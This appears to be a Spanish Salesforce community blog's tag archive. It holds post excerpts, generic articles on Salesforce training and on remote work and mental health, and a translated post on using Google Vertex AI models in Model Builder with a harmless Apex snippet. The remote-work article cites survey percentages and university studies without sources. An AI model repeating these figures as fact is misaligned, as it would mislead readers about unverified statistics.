Skip to content

Etiqueta: desarrollo de aplicaciones

5 usos creativos de DataWeave de MuleSoft: Desencadenar la magia de la transformación ☁️

5 usos creativos de DataWeave de MuleSoft: Desencadenar la magia de la transformación ☁️

Recorre una lista de herramientas para utilizar DataWeave en diferentes escenarios, desde una aplicación de Mule con arrastrar y soltar hasta una herramienta de línea de comandos.

The post 5 Maneras de Usar el Mágico Lenguaje de Transformación de MuleSoft’s: DataWeave appeared first on Blog de desarrolladores de Salesforce.

Seguir leyendo

Novedades de las versiones 11.0 y 11.1 del SDK para móviles ☁️

Novedades de las versiones 11.0 y 11.1 del SDK para móviles ☁️

Mobile SDK 11.0 introduce autenticación biométrica, SSO multiaplicación mejorado y más actualizaciones para Android y iOS.

The post Las novedades del SDK móvil 11.0 y 11.1 appeared first on Blog de desarrolladores de Salesforce.

Seguir leyendo

Prompt Engineering para desarrolladores de Salesforce: Mejora de la eficacia y la productividad ☁️

Prompt Engineering para desarrolladores de Salesforce: Mejora de la eficacia y la productividad ☁️

Las técnicas de ingeniería generativa, si se hacen bien, pueden ayudarle a hacer las cosas bien, mejor y, lo que es más importante, más rápido.

Las técnicas de ingeniería generativa pueden ayudarle a hacer las cosas bien, mejor y, lo que es más importante, más rápido

The post Ingeniería de prompts para desarrolladores de Salesforce appeared first on Blog de desarrolladores de Salesforce.

Seguir leyendo

Priorizar las competencias para la transformación digital en Oriente Medio

Como Oriente Medio es una de las regiones del mundo con mayor crecimiento tecnológico, es hora de priorizar las competencias para la transformación digital. Leer más.

The post Priorizar las competencias para la transformación digital en Oriente Medio appeared first on Blog de Salesforce EU.

La prioridad de las competencias para la transformación digital en Oriente Medio appeared first on Blog de Salesforce EU

Seguir leyendo

Noltic fomenta el talento de los jóvenes en el mundo académico

Noltic se convirtió en uno de nuestros embajadores académicos de Salesforce en Ucrania, inspirando y educando a jóvenes talentos. Obtenga más información aquí.

The post Noltic fomenta el talento de los jóvenes en el mundo académico appeared first on Salesforce EU Blog.

El blog de Salesforce en la UE

Seguir leyendo

Mejora tus habilidades en Salesforce con nuestro entrenamiento especializado

Introducción

Salesforce es una plataforma de gestión de relaciones con los clientes (CRM) líder en el mercado que ayuda a las empresas a gestionar y mejorar sus relaciones con los clientes. Es una herramienta esencial para cualquier negocio, ya que permite a las empresas gestionar eficazmente sus ventas, marketing y servicio al cliente. La importancia de Salesforce en el mundo empresarial ha llevado a la necesidad de una formación especializada en esta plataforma.

La formación especializada en Salesforce es fundamental para aprovechar al máximo esta poderosa herramienta. Proporciona a los profesionales las habilidades y conocimientos necesarios para utilizar Salesforce de manera efectiva y maximizar su potencial. En este artículo, exploraremos en detalle qué es Salesforce, por qué es importante para las empresas, cómo la formación especializada puede mejorar tus habilidades en Salesforce y cómo elegir la formación adecuada para tus necesidades.

¿Qué es Salesforce y por qué es importante para las empresas?

Salesforce es una plataforma de gestión de relaciones con los clientes basada en la nube que permite a las empresas gestionar todas sus interacciones con los clientes, desde el marketing hasta las ventas y el servicio al cliente. Proporciona una visión completa de los clientes y ayuda a las empresas a tomar decisiones más informadas y estratégicas.

La importancia de Salesforce para las empresas radica en su capacidad para mejorar la eficiencia y la productividad. Permite a las empresas automatizar tareas repetitivas, como el seguimiento de clientes potenciales y la gestión de oportunidades de venta, lo que ahorra tiempo y recursos. Además, Salesforce proporciona análisis y datos en tiempo real que ayudan a las empresas a tomar decisiones más informadas y a adaptarse rápidamente a las necesidades cambiantes del mercado.

Muchas empresas líderes en diferentes industrias utilizan Salesforce para gestionar sus relaciones con los clientes. Por ejemplo, Coca-Cola utiliza Salesforce para gestionar su fuerza de ventas y mejorar la eficiencia de sus operaciones. Adidas utiliza Salesforce para mejorar la experiencia del cliente y aumentar las ventas. Estos son solo algunos ejemplos de cómo Salesforce ha ayudado a las empresas a alcanzar el éxito.

¿Cómo puede la formación especializada mejorar tus habilidades en Salesforce?

La formación especializada en Salesforce es esencial para mejorar tus habilidades en esta plataforma y aprovechar al máximo sus características y funcionalidades. Proporciona a los profesionales los conocimientos y habilidades necesarios para utilizar Salesforce de manera efectiva y maximizar su potencial.

La formación especializada en Salesforce ofrece una serie de beneficios. En primer lugar, te ayuda a entender cómo funciona Salesforce y cómo utilizar sus diferentes herramientas y funcionalidades. Esto te permite aprovechar al máximo la plataforma y utilizarla de manera eficiente en tu trabajo diario.

Además, la formación especializada en Salesforce te ayuda a adquirir habilidades técnicas específicas que son altamente demandadas en el mercado laboral actual. Estas habilidades te hacen más valioso como profesional y te abren nuevas oportunidades de carrera.

Por último, la formación especializada en Salesforce te mantiene actualizado sobre las últimas tendencias y actualizaciones en la plataforma. Esto es especialmente importante, ya que Salesforce está en constante evolución y es fundamental estar al tanto de las últimas novedades para utilizar la plataforma de manera efectiva.

Tipos de formación especializada disponible para Salesforce

Existen diferentes tipos de formación especializada disponibles para Salesforce, que van desde cursos en línea hasta programas de certificación. Algunos de los tipos de formación especializada más comunes incluyen:

1. Cursos en línea: Estos cursos están disponibles en plataformas de aprendizaje en línea y te permiten aprender a tu propio ritmo. Puedes acceder a los materiales de formación en cualquier momento y lugar, lo que te brinda flexibilidad para adaptar la formación a tu horario.

2. Programas de certificación: Salesforce ofrece una serie de programas de certificación que te permiten demostrar tus habilidades y conocimientos en la plataforma. Estas certificaciones son reconocidas en la industria y pueden mejorar tus oportunidades de carrera.

3. Formación presencial: Algunas organizaciones y proveedores de formación ofrecen cursos presenciales donde puedes aprender directamente de expertos en Salesforce. Estos cursos suelen ser más intensivos y te brindan la oportunidad de interactuar con otros profesionales.

Cómo elegir la formación adecuada para tus necesidades en Salesforce

Al elegir la formación adecuada para tus necesidades en Salesforce, hay varios factores que debes tener en cuenta. En primer lugar, debes considerar tu nivel de experiencia en Salesforce. Si eres un principiante, es posible que desees comenzar con cursos básicos que te enseñen los fundamentos de la plataforma. Si ya tienes experiencia en Salesforce, puedes optar por cursos más avanzados o programas de certificación.

También debes considerar tus objetivos profesionales y las habilidades que deseas adquirir. Por ejemplo, si estás interesado en convertirte en un administrador certificado de Salesforce, debes buscar programas de certificación que te preparen para el examen correspondiente.

Además, debes tener en cuenta tu presupuesto y el tiempo que puedes dedicar a la formación. Algunos cursos y programas de certificación pueden ser costosos, por lo que debes asegurarte de que se ajusten a tu presupuesto. Además, debes considerar si prefieres la flexibilidad de los cursos en línea o la interacción personal de los cursos presenciales.

Aplicación de la formación especializada en Salesforce en el mundo real

La formación especializada en Salesforce puede ser aplicada en una variedad de escenarios del mundo real para mejorar la eficiencia y la productividad. Por ejemplo, un profesional con formación especializada en Salesforce puede utilizar la plataforma para automatizar tareas repetitivas, como el seguimiento de clientes potenciales y la gestión de oportunidades de venta. Esto ahorra tiempo y recursos, permitiendo al profesional centrarse en tareas más estratégicas.

Además, la formación especializada en Salesforce permite a los profesionales utilizar las herramientas y funcionalidades avanzadas de la plataforma para mejorar la experiencia del cliente. Por ejemplo, un profesional con formación especializada puede utilizar Salesforce para personalizar las interacciones con los clientes y proporcionar un servicio más personalizado.

La aplicación de la formación especializada en Salesforce también puede ayudar a las empresas a tomar decisiones más informadas y estratégicas. Los profesionales con formación especializada pueden utilizar los análisis y datos en tiempo real proporcionados por Salesforce para identificar tendencias y patrones, lo que les permite tomar decisiones más informadas y adaptarse rápidamente a las necesidades cambiantes del mercado.

Cómo la formación especializada en Salesforce puede mejorar tus oportunidades de carrera

La formación especializada en Salesforce puede mejorar significativamente tus oportunidades de carrera al proporcionarte las habilidades y conocimientos necesarios para tener éxito en el mercado laboral actual. Las empresas valoran cada vez más las habilidades en Salesforce y buscan profesionales con experiencia en la plataforma.

La formación especializada en Salesforce te hace más valioso como profesional y te diferencia de otros candidatos en el mercado laboral. Te permite adquirir habilidades técnicas específicas que son altamente demandadas, como la administración de Salesforce, el desarrollo de aplicaciones y la personalización de la plataforma.

Además, la formación especializada en Salesforce te permite obtener certificaciones reconocidas en la industria que pueden mejorar tus oportunidades de carrera. Las certificaciones de Salesforce son altamente valoradas por las empresas y pueden abrirte puertas a nuevas oportunidades de empleo y promoción.

Medición del éxito de la formación especializada en Salesforce

La medición del éxito de la formación especializada en Salesforce puede ser desafiante, pero hay varias métricas que puedes utilizar para evaluar tu progreso y el impacto de la formación en tu trabajo. Algunas métricas comunes incluyen:

1. Certificaciones obtenidas: Si has obtenido certificaciones de Salesforce como resultado de tu formación, esto es un indicador claro de tu éxito y demuestra tus habilidades y conocimientos en la plataforma.

2. Mejora en las métricas clave del negocio: Puedes medir el impacto de tu formación en Salesforce observando mejoras en las métricas clave del negocio, como el aumento de las ventas o la mejora del servicio al cliente.

3. Retroalimentación positiva: Si recibes retroalimentación positiva de tus superiores, colegas o clientes sobre tu trabajo con Salesforce después de recibir formación especializada, esto es un indicador de éxito.

4. Avance en tu carrera: Si has logrado avanzar en tu carrera o conseguir nuevas oportunidades de empleo después de recibir formación especializada en Salesforce, esto es un claro indicador de éxito.

Mantenerse al día con las últimas tendencias y actualizaciones en Salesforce

Es fundamental mantenerse al día con las últimas tendencias y actualizaciones en Salesforce para utilizar la plataforma de manera efectiva. Salesforce está en constante evolución y se lanzan regularmente nuevas características y funcionalidades.

Para mantenerse informado, puedes suscribirte a boletines informativos y blogs de Salesforce, seguir a expertos en Salesforce en las redes sociales y participar en eventos y conferencias relacionadas con la plataforma. Además, puedes aprovechar la formación continua para actualizar tus habilidades y conocimientos en Salesforce.

Mejorar la colaboración y la eficiencia en el equipo de Salesforce a través de la formación especializada

La formación especializada en Salesforce puede mejorar significativamente la colaboración y la eficiencia en el equipo de Salesforce. Al proporcionar a todos los miembros del equipo una formación común, se crea un lenguaje común y se mejora la comunicación.

Además, la formación especializada permite a los miembros del equipo utilizar las herramientas y funcionalidades avanzadas de Salesforce de manera efectiva, lo que mejora la eficiencia y la productividad. Esto permite al equipo trabajar de manera más colaborativa y lograr mejores resultados.

Maximizar el retorno de la inversión en formación especializada en Salesforce

Para maximizar el retorno de la inversión en formación especializada en Salesforce, es importante seguir algunos consejos clave. En primer lugar, debes establecer objetivos claros para tu formación y asegurarte de que estén alineados con tus objetivos profesionales y las necesidades de tu empresa.

Además, debes elegir la formación adecuada para tus necesidades y asegurarte de que sea relevante y actualizada. También debes asegurarte de aplicar lo que has aprendido en tu trabajo diario y buscar oportunidades para utilizar tus nuevas habilidades y conocimientos.

Por último, debes medir el impacto de tu formación en Salesforce y evaluar si ha cumplido tus objetivos. Si no has logrado los resultados deseados, puedes considerar buscar formación adicional o buscar oportunidades para aplicar tus habilidades en otros proyectos o tareas.

Conclusión

La formación especializada en Salesforce es esencial para aprovechar al máximo esta poderosa herramienta y mejorar tus habilidades en el mundo empresarial actual. Proporciona a los profesionales los conocimientos y habilidades necesarios para utilizar Salesforce de manera efectiva y maximizar su potencial.

La formación especializada en Salesforce ofrece una serie de beneficios, como mejorar la eficiencia y la productividad, adquirir habilidades técnicas específicas y mantenerse actualizado sobre las últimas tendencias y actualizaciones en la plataforma.

Al elegir la formación adecuada para tus necesidades en Salesforce, debes considerar tu nivel de experiencia, tus objetivos profesionales, tu presupuesto y el tiempo que puedes dedicar a la formación. Además, debes medir el éxito de tu formación utilizando métricas como las certificaciones obtenidas, la mejora en las métricas clave del negocio, la retroalimentación positiva y el avance en tu carrera.

En resumen, la formación especializada en Salesforce es una inversión valiosa que puede mejorar tus habilidades y oportunidades de carrera. No pierdas la oportunidad de aprovechar al máximo esta poderosa herramienta y mejorar tus habilidades en el mundo empresarial actual.
Si estás interesado en mejorar tus habilidades en Salesforce, te recomendamos leer nuestro artículo sobre «Cómo impulsar el crecimiento con soluciones de comercio rápido en AppExchange». En este artículo, encontrarás información valiosa sobre cómo utilizar las soluciones de comercio rápido en AppExchange para impulsar el crecimiento de tu negocio. Aprenderás cómo aprovechar al máximo esta plataforma y cómo utilizarla para mejorar tus habilidades como desarrollador. ¡No te lo pierdas! Leer más

Los beneficios del trabajo remoto para la salud mental

Introducción

El trabajo remoto, también conocido como teletrabajo, se ha vuelto cada vez más popular en los últimos años. Con los avances tecnológicos y la creciente demanda de flexibilidad laboral, muchas empresas están adoptando esta modalidad de trabajo. El trabajo remoto permite a los empleados realizar sus tareas desde cualquier lugar, ya sea desde su hogar, una cafetería o incluso mientras viajan. A medida que esta forma de trabajo se vuelve más común, es importante discutir su impacto en la salud mental de las personas.

La salud mental es un tema que ha ganado relevancia en los últimos años, ya que cada vez más personas reconocen la importancia de cuidar su bienestar emocional. El trabajo remoto puede tener tanto efectos positivos como negativos en la salud mental de las personas, por lo que es fundamental analizar cómo esta modalidad de trabajo puede afectarnos y qué medidas podemos tomar para mantener una buena salud mental mientras trabajamos de forma remota.

¿Qué es el trabajo remoto y cómo afecta a nuestra salud mental?

El trabajo remoto se refiere a la posibilidad de realizar nuestras tareas laborales desde cualquier lugar, utilizando herramientas tecnológicas para comunicarnos y colaborar con nuestros compañeros de trabajo. En lugar de tener que desplazarnos a una oficina física, podemos trabajar desde la comodidad de nuestro hogar o cualquier otro lugar que elijamos.

Si bien el trabajo remoto puede tener muchas ventajas, también puede afectar nuestra salud mental de diversas maneras. Uno de los principales desafíos del trabajo remoto es la sensación de aislamiento. Al no tener compañeros de trabajo físicamente presentes, podemos sentirnos solos y desconectados. Además, la falta de una estructura clara puede llevar a una falta de límites entre el trabajo y la vida personal, lo que puede generar estrés y ansiedad.

La libertad de trabajar desde cualquier lugar: un beneficio para la salud mental

A pesar de los desafíos mencionados anteriormente, el trabajo remoto también tiene muchos beneficios para la salud mental. Una de las principales ventajas es la libertad de trabajar desde cualquier lugar. Esto significa que no estamos limitados a una oficina y podemos elegir el entorno que nos resulte más cómodo y productivo. Algunas personas pueden preferir trabajar desde su hogar, mientras que otras pueden optar por trabajar desde una cafetería o incluso mientras viajan. Esta flexibilidad puede reducir el estrés y aumentar la autonomía, lo que a su vez mejora nuestra salud mental.

Además, el trabajo remoto puede permitirnos tener un mejor equilibrio entre nuestra vida laboral y personal. Al no tener que desplazarnos a una oficina, podemos ahorrar tiempo y energía, lo que nos permite dedicar más tiempo a nuestras actividades personales y familiares. Esto puede reducir el estrés y mejorar nuestra calidad de vida en general.

¿Cómo el trabajo remoto puede reducir el estrés y la ansiedad?

El trabajo remoto puede reducir el estrés y la ansiedad de varias maneras. En primer lugar, elimina la necesidad de desplazarse diariamente al trabajo. El tiempo y la energía que antes se gastaban en el tráfico o en el transporte público ahora se pueden utilizar de manera más productiva o para descansar y relajarse. Además, el trabajo remoto nos brinda más control sobre nuestro entorno de trabajo. Podemos crear un espacio tranquilo y cómodo en nuestro hogar o elegir trabajar desde un lugar que nos inspire y nos haga sentir bien. Esto puede reducir el estrés y la ansiedad relacionados con un entorno de trabajo poco saludable o incómodo.

Varios estudios respaldan la idea de que el trabajo remoto puede reducir el estrés y la ansiedad. Según una encuesta realizada por la empresa de investigación de mercado Gallup, los empleados que trabajan de forma remota experimentan menos estrés y tienen una mayor satisfacción laboral en comparación con aquellos que trabajan en una oficina tradicional. Otro estudio realizado por la Universidad de Stanford encontró que los empleados que trabajan de forma remota tienen niveles más bajos de estrés y una mejor salud mental en general.

La importancia del equilibrio entre vida laboral y personal en el trabajo remoto

El equilibrio entre vida laboral y personal es fundamental para mantener una buena salud mental, especialmente cuando se trabaja de forma remota. Sin una estructura clara y límites definidos, es fácil caer en la trampa de trabajar constantemente y no encontrar tiempo para descansar y disfrutar de nuestras actividades personales.

Es importante establecer horarios de trabajo claros y respetarlos. Esto significa definir cuándo comenzamos y terminamos nuestra jornada laboral y asegurarnos de no mezclar el trabajo con nuestra vida personal. También es importante establecer límites con nuestros compañeros de trabajo y clientes, dejando en claro cuándo estamos disponibles y cuándo no.

Además, es fundamental dedicar tiempo a nuestras actividades personales y familiares. Esto puede incluir hacer ejercicio, pasar tiempo con nuestros seres queridos, practicar hobbies o simplemente relajarse. Al establecer un equilibrio entre nuestra vida laboral y personal, podemos reducir el estrés y mejorar nuestra salud mental.

¿Cómo el trabajo remoto puede mejorar la calidad del sueño?

El trabajo remoto puede mejorar la calidad del sueño de varias maneras. En primer lugar, al eliminar la necesidad de desplazarse al trabajo, podemos tener horarios de sueño más flexibles. Esto significa que podemos adaptar nuestros horarios de trabajo a nuestros ritmos circadianos naturales, lo que puede resultar en un sueño más reparador.

Además, el trabajo remoto nos permite tener más control sobre nuestro entorno de trabajo. Podemos crear un espacio tranquilo y cómodo en nuestro hogar, lo que puede facilitar el sueño. También podemos evitar las distracciones y el ruido de una oficina tradicional, lo que puede mejorar la calidad del sueño.

Varios estudios respaldan la idea de que el trabajo remoto puede mejorar la calidad del sueño. Según una encuesta realizada por la empresa de investigación de mercado Owl Labs, el 91% de los empleados que trabajan de forma remota duermen mejor que aquellos que trabajan en una oficina tradicional. Otro estudio realizado por la Universidad de California encontró que los empleados que trabajan de forma remota tienen una mayor calidad de sueño y menos problemas de insomnio en comparación con aquellos que trabajan en una oficina.

La flexibilidad del trabajo remoto: un beneficio para la salud mental de los padres

El trabajo remoto puede ser especialmente beneficioso para los padres, ya que les brinda la flexibilidad de pasar más tiempo con sus hijos y reducir el estrés relacionado con el cuidado de los niños. Al no tener que desplazarse a una oficina, los padres pueden estar más presentes en la vida de sus hijos y participar en actividades familiares. Esto puede fortalecer los lazos familiares y mejorar la salud mental tanto de los padres como de los hijos.

Además, el trabajo remoto puede reducir el estrés relacionado con el cuidado de los niños. Al no tener que preocuparse por encontrar cuidado infantil o lidiar con el tráfico para llegar a tiempo a casa, los padres pueden tener una mayor tranquilidad y disfrutar más de su tiempo con sus hijos.

¿Cómo el trabajo remoto puede reducir el síndrome de agotamiento laboral?

El síndrome de agotamiento laboral, también conocido como burnout, es un problema común en el mundo laboral actual. Se caracteriza por una sensación de agotamiento físico y emocional, falta de motivación y disminución del rendimiento laboral. El trabajo remoto puede ayudar a reducir el síndrome de agotamiento laboral de varias maneras.

En primer lugar, el trabajo remoto nos brinda más control sobre nuestra carga de trabajo. Podemos establecer nuestros propios horarios y priorizar nuestras tareas de manera más efectiva. Esto puede ayudarnos a evitar la sobrecarga de trabajo y el agotamiento.

Además, el trabajo remoto elimina muchas de las distracciones y el estrés relacionados con la oficina tradicional. No tenemos que lidiar con el ruido, las interrupciones constantes o las políticas de la oficina que pueden contribuir al agotamiento. En cambio, podemos crear un entorno de trabajo tranquilo y personalizado que nos ayude a mantenernos enfocados y motivados.

Varios estudios respaldan la idea de que el trabajo remoto puede reducir el síndrome de agotamiento laboral. Según una encuesta realizada por la empresa de investigación de mercado FlexJobs, el 82% de los empleados que trabajan de forma remota informaron tener niveles más bajos de agotamiento en comparación con aquellos que trabajan en una oficina tradicional. Otro estudio realizado por la Universidad de Stanford encontró que los empleados que trabajan de forma remota tienen niveles más bajos de agotamiento y una mayor satisfacción laboral en comparación con aquellos que trabajan en una oficina.

La posibilidad de tener un ambiente de trabajo personalizado: un beneficio para la salud mental

Una de las ventajas del trabajo remoto es la posibilidad de tener un ambiente de trabajo personalizado. En lugar de tener que adaptarnos a un entorno de oficina estándar, podemos crear un espacio de trabajo que se adapte a nuestras necesidades y preferencias. Esto puede incluir la elección de un escritorio cómodo, una silla ergonómica y una decoración que nos inspire.

Al tener un ambiente de trabajo personalizado, podemos reducir las distracciones y aumentar nuestra productividad. También podemos crear un espacio que nos haga sentir bien y nos ayude a mantenernos motivados. Esto puede tener un impacto positivo en nuestra salud mental y bienestar en general.

¿Cómo el trabajo remoto puede fomentar la creatividad y la motivación?

El trabajo remoto puede fomentar la creatividad y la motivación de varias maneras. En primer lugar, nos brinda más libertad y autonomía para realizar nuestras tareas. No estamos limitados por las normas y políticas de una oficina tradicional, lo que nos permite explorar nuevas ideas y enfoques. Además, al tener un entorno de trabajo personalizado, podemos crear un espacio que nos inspire y estimule nuestra creatividad.

Además, el trabajo remoto nos permite evitar muchas de las distracciones y el ruido de una oficina tradicional. Podemos trabajar en un entorno tranquilo y libre de interrupciones, lo que nos ayuda a mantenernos enfocados y concentrados en nuestras tareas. Esto puede aumentar nuestra productividad y motivación.

Varios estudios respaldan la idea de que el trabajo remoto puede fomentar la creatividad y la motivación. Según una encuesta realizada por la empresa de investigación de mercado Owl Labs, el 80% de los empleados que trabajan de forma remota se sienten más motivados en comparación con aquellos que trabajan en una oficina tradicional. Otro estudio realizado por la Universidad de California encontró que los empleados que trabajan de forma remota tienen niveles más altos de creatividad y satisfacción laboral en comparación con aquellos que trabajan en una oficina.

Los desafíos del trabajo remoto y cómo superarlos para mantener una buena salud mental

Si bien el trabajo remoto tiene muchos beneficios para la salud mental, también presenta desafíos que debemos superar para mantener un buen bienestar emocional. Uno de los principales desafíos es la sensación de aislamiento. Al no tener compañeros de trabajo físicamente presentes, podemos sentirnos solos y desconectados. Para superar este desafío, es importante mantener una comunicación regular con nuestros compañeros de trabajo a través de herramientas de comunicación en línea. También podemos buscar oportunidades para socializar fuera del trabajo, como asistir a eventos o unirnos a grupos de interés.

Otro desafío del trabajo remoto es la falta de estructura. Sin una rutina clara, es fácil caer en la trampa de trabajar constantemente o no encontrar tiempo para descansar y disfrutar de nuestras actividades personales. Para superar este desafío, es importante establecer horarios de trabajo claros y respetarlos. También podemos establecer límites con nuestros compañeros de trabajo y clientes, dejando en claro cuándo estamos disponibles y cuándo no. Además, es fundamental dedicar tiempo a nuestras actividades personales y familiares para mantener un equilibrio saludable entre el trabajo y la vida personal.

Conclusión

El trabajo remoto tiene un impacto significativo en nuestra salud mental. Si bien presenta desafíos, como la sensación de aislamiento y la falta de estructura, también tiene muchos beneficios, como la reducción del estrés y la ansiedad, la mejora del equilibrio entre vida laboral y personal, la calidad del sueño y la reducción del síndrome de agotamiento laboral. Es importante priorizar nuestra salud mental mientras trabajamos de forma remota, estableciendo límites claros, manteniendo una comunicación regular con nuestros compañeros de trabajo y dedicando tiempo a nuestras actividades person ales y de autocuidado. Además, es fundamental buscar apoyo y recursos adicionales, como terapia o grupos de apoyo, si es necesario. En última instancia, el trabajo remoto puede ser una oportunidad para mejorar nuestra salud mental si nos cuidamos adecuadamente y nos adaptamos a los desafíos que presenta.
Si estás interesado en mejorar tus habilidades como desarrollador, te recomendamos que eches un vistazo a nuestra serie de videos sobre desarrollo de aplicaciones modernas. En estos videos, encontrarás consejos y técnicas para perfeccionar tus habilidades y mantenerte actualizado en el mundo del desarrollo de software. ¡No te lo pierdas! Ver artículo relacionado

Lleve sus modelos de IA de Google Vertex a la nube de datos ☁️

Lleve sus modelos de IA de Google Vertex a la nube de datos ☁️

Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .

El enlace a la publicación original, lo encontrarás al final de este artículo.

Lleve sus modelos de IA de Google Vertex a la nube de datos | Blog de desarrolladores de Salesforce

Model Builder, parte de Einstein Copilot Studio, es una plataforma fácil de usar que le permite crear y poner en funcionamiento modelos de IA en Salesforce. Model Builder es capaz de integrarse profundamente con plataformas de IA externas, como Google Cloud Vertex AI y Amazon SageMaker, para que pueda crear, entrenar e implementar modelos de IA personalizados de forma externa utilizando datos de Salesforce Data Cloud.

Salesforce anunció previamente el lanzamiento de Model Builder con Amazon SageMaker en agosto de 2023. Hoy, nos complace anunciar que los modelos de Google Vertex AI ahora están disponibles de forma general en Model Builder. Como parte de esta última versión, Model Builder ahora admite la autenticación mediante las credenciales de la cuenta del servicio de Google, así como la ingestión de datos en streaming.

Estamos entusiasmados con esta nueva innovación de la asociación ampliada de Salesforce con Google Cloud, que consideramos que tiene un enorme potencial para los desarrolladores. Como enfatizó Kaushal Kurapati, vicepresidente senior de Producto, IA y Búsqueda de Salesforce:

“Con esta asociación con Google Cloud, Model Builder ofrece una manera conveniente para que los clientes aprovechen sus modelos Vertex AI en sus fuentes de datos, flujos de trabajo y aplicaciones de Salesforce y brinden experiencias personalizadas, continuando con la visión de construir una plataforma abierta de Salesforce AI con un ecosistema modelo robusto”.

¿Qué es la capacidad de traer su propio modelo (BYOM)?

Model Builder le permite conectarse fácilmente a modelos predictivos externos, como los de un proveedor de modelos externo o su propio modelo propietario, y utilizarlos en el flujo de trabajo en Salesforce. Por ejemplo, puede utilizar modelos predictivos para calificar clientes potenciales, recomendar productos o detectar la deserción.

La capacidad BYOM de Model Builder le permite integrar fácilmente su modelo con Data Cloud para acceder a predicciones e información en tiempo real, y utilizar esa información de varias maneras, como enriquecer perfiles de clientes, crear segmentos y personalizar la experiencia del usuario final en diferentes canales.

¿Por qué traer su propio modelo a Data Cloud?

Estos son algunos de los beneficios de usar un modelo de Google Cloud Vertex AI con datos de Data Cloud en Model Builder:

  • Le brinda acceso a datos altamente seleccionados, armonizados y casi en tiempo real en Customer 360, en Vertex AI
  • Elimina trabajos de ETL tediosos, costosos y propensos a errores; El enfoque de federación de copia cero para los datos reduce los gastos generales de gestión de copias de datos y los costos de almacenamiento, y mejora la eficiencia.
  • Le permite crear, entrenar, probar y ajustar modelos rápidamente en una única plataforma y conectarlos con Data Cloud.
  • Admite la ingesta de datos en tiempo real, streaming y por lotes para impulsar resultados de IA relevantes
  • Aprovecha las predicciones de Vertex AI para automatizar procesos comerciales en Salesforce Data Cloud con Flow y Apex

Para obtener más información, mire nuestro breve vídeo .

Flujo de trabajo de la aplicación para usar Model Builder con Vertex AI de Google Cloud

En esta sección, analizamos brevemente el flujo de trabajo de la aplicación utilizando Model Builder.

En el flujo de trabajo que se muestra arriba, el conector Python brinda a Vertex AI acceso seguro a los objetos de Salesforce Data Cloud. Después de la autenticación, los especialistas en datos pueden explorar y preparar datos, y realizar tareas de ingeniería de características para el desarrollo y la inferencia de modelos de IA utilizando la plataforma Vertex AI.

Tenga en cuenta que si se realiza una autenticación basada en clave API, se necesita una puerta de enlace API delante del punto final de Vertex AI.

NUEVA característica: Autenticación mediante credenciales de cuenta de servicio de Google

La versión más reciente de Model Builder ahora permite utilizar las credenciales de la cuenta del servicio de Google para la autenticación. Esto se suma a los métodos de autenticación JWT y basados en claves existentes. Para utilizar un flujo de token al portador JWT, ingrese su correo electrónico de la cuenta de servicio, ID de clave privada y clave privada de su cuenta de Google Cloud como se muestra a continuación.

NUEVA característica: Ingestión de datos en streaming

La última versión de Model Builder le permite activar automáticamente una inferencia cuando los datos asignados a la variable de entrada del modelo se cambian en el objeto del modelo de datos de origen (DMO). También ofrecemos inferencia por lotes, pero debe hacer clic en el botón Actualizar manualmente para activar nuevas inferencias. Con la inferencia de transmisión, las nuevas inferencias se activan solo cuando hay un cambio en la variable de entrada.

Para habilitar la inferencia de transmisión, deberá marcar la casilla en ¿Actualizar modelo cuando se actualizan los datos? Como se muestra abajo.

También puede especificar cuáles de las funciones de entrada deben actualizarse seleccionando en el menú desplegable Actualizar puntuación .

Cómo consumir predicciones de tu modelo en Salesforce

Hay dos formas de consumir predicciones: usar acciones invocables en Flow y Apex, o usar Query API para realizar análisis ad hoc.

Utilice Flow Builder y Apex para obtener predicciones

A continuación se muestra un ejemplo de cómo utilizar acciones invocables para modelos de Model Builder en Flow. Una vez que tenga un modelo activado en Model Builder, seleccione Nueva acción → Nube de datos y luego haga clic en el nombre del modelo deseado.

La captura de pantalla siguiente muestra un flujo de ejemplo que utiliza una acción invocable para crear recomendaciones de productos para un cliente. Aquí, un administrador usa Flow Builder para recorrer los registros individuales unificados y verificar si se realizó una compra reciente. Si se realizó la compra, la acción invocable obtiene la inferencia del modelo de Model Builder y recomienda el siguiente mejor producto a un cliente.

Esta acción invocable también se puede invocar en Apex. Vea el ejemplo a continuación.

<dx-code-block title language="apex" code-block="Invocable.Action action = Invocable.Action.createCustomAction('cdpGetMlPrediction', 'EinsteinStudio_model_name');
action.setInvocationParameter('param_variable_1', '10');
action.setInvocationParameter('param_variable_2', '20');
action.setInvocationParameter('param_variable_3', '30');
List results = action.invoke();
if (results.size() > 0 && results[0].isSuccess()) { System.debug(‘Result is: ‘ + results[0].getOutputParameters().get(‘param_score’));
} else { System.debug(‘Error message’ + results[0].getErrors());
} «>

Para obtener instrucciones sobre el uso de acciones invocables en Flow y Apex, consulte la Ayuda de Salesforce .

Utilice Query API para obtener predicciones

Query API es otra forma rápida de obtener puntuaciones de predicción para datos que residen en Data Cloud. Con Query API, puede utilizar el punto final de inferencia y llamar a funciones de predicción para probar el punto final. Vea el ejemplo a continuación.

Para obtener instrucciones sobre el uso de acciones invocables en QueryAPI, consulte la Ayuda de Salesforce .

Conclusión

Model Builder es una plataforma de IA fácil de usar que permite a los equipos de ingeniería y ciencia de datos crear, entrenar e implementar modelos de IA utilizando plataformas y datos externos en Data Cloud. Las plataformas externas incluyen Google Cloud Vertex AI, Amazon SageMaker y otros servicios de IA predictivos o generativos. Una vez que esté listo, podrá utilizar los modelos de IA en tiempo real para impulsar cualquier aplicación de ventas, servicios, marketing, comercio y otras aplicaciones en Salesforce.

Para obtener más información sobre cómo puede mejorar su estrategia de IA utilizando Model Builder, asista a nuestro seminario web gratuito con expertos en IA de Salesforce y Google Cloud.

Recursos adicionales

Sobre los autores

Daryl Martis es el director de producto de Salesforce de Einstein. Tiene más de 10 años de experiencia en planificación, creación, lanzamiento y gestión de soluciones de clase mundial para clientes empresariales, incluidas AI/ML y soluciones en la nube. Síguelo en LinkedIn o Twitter .

Ashish Thapliyal es director sénior de producto en Salesforce y actualmente dirige varias áreas de productos de la plataforma Einstein AI. Síguelo en LinkedIn o Twitter .

Obtenga las últimas publicaciones de blog y episodios de podcasts para desarrolladores de Salesforce a través de Slack o RSS.

Añadir a holgura Suscríbete a RSS

Seguir leyendo

Introducción a los agentes autónomos ☁️

Introducción a los agentes autónomos ☁️

Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .

El enlace a la publicación original, lo encontrarás al final de este artículo.

